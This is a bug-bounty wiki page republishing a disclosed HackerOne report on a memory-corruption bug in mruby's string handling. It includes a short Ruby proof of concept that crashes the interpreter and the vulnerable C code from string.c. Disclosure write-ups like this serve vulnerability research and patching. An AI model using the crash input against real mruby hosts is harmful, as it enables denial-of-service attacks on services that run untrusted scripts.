Skip to content
Memory corruption Disclosed report Advanced

mrb_str_modify try to write to memory not marked for writing

A crafted sequence of string operations in mruby makes the interpreter write to memory not marked for writing, crashing it. Running Ruby code can cause a denial of service.

marotagem_vrt Follow

Originally disclosed on HackerOne

  • Triaged in 15 days
  • Fixed in 23 days
  • Paid in 40 days
  • Disclosed after 47 days

The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing.

a = Time.new.zone
a.rstrip!
GC.start
a.next!

Code https://github.com/mruby/mruby/blob/5289b4ba117e66bdef1438ca754c894508a2447b/src/string.c#L668

    if (shared->refcnt == 1 && s->as.heap.ptr == shared->ptr) {
      s->as.heap.ptr = shared->ptr;
      s->as.heap.aux.capa = shared->len;
      RSTR_PTR(s)[s->as.heap.len] = '\0';
      mrb_free(mrb, shared);
    }

The original report as published on HackerOne, by marotagem_vrt. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker who can run Ruby code can crash the interpreter, causing a denial of service.

What the attacker needed

Ability to run Ruby code in mruby

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A crafted sequence of string operations in mruby makes the interpreter write to memory not marked for writing, which crashes the program.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by marotagem_vrt

View all

1 more disclosed report, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.